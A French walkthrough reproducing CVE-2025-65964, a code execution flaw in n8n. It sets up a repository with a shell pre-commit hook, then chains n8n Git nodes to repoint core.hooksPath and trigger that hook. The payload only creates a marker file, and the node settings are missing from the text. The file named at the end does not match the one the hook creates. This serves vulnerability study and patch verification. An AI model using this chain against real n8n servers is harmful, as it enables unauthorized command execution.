
Reproduction de CVE-2025-65964
Tout d'abord, préparez un dépôt contenant un fichier malveillant
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <adresse_du_dépôt>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
Ensuite, lancez localement un Docker n8n dans une version vulnérable. La portée de cette vulnérabilité est large : toutes les versions 0.123.1 ≤ n8n < 1.119.2 sont concernées. Nous utilisons ici la version 1.64.3.
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
Tout d'abord, voici le flux d'attaque complet pour la version 1.64.3 :
Configuration des paramètres comme indiqué :
Ce nœud et le suivant sont nécessaires car Git n'autorise un commit que si des fichiers ont changé. Nous devons donc d'abord écrire un fichier quelconque dans le dépôt.
Configuration des paramètres comme indiqué :

Écrire le fichier dans le dépôt.
Configuration des paramètres comme indiqué :

Ces deux nœuds sont nécessaires car un commit nécessite une adresse e-mail et un nom d'utilisateur. Il suffit d'en inventer deux.
Configuration des paramètres comme indiqué :


Étape clé : pointer core.hooksPath vers le répertoire malveillant que nous avons téléchargé, forçant Git à chercher dans ce répertoire lors de l'exécution des hooks (par défaut dans .git/hooks).
(C'est un peu comme détourner LD_PRELOAD, etc.)
Configuration des paramètres comme indiqué :

Cette étape sert à déclencher la vulnérabilité en exécutant le hook corrompu.
Configuration des paramètres comme indiqué :

Après avoir configuré ces nœuds, exécutez le workflow.
Ensuite, observez dans Docker que le fichier malveillant pwned_without_exec_node a été créé.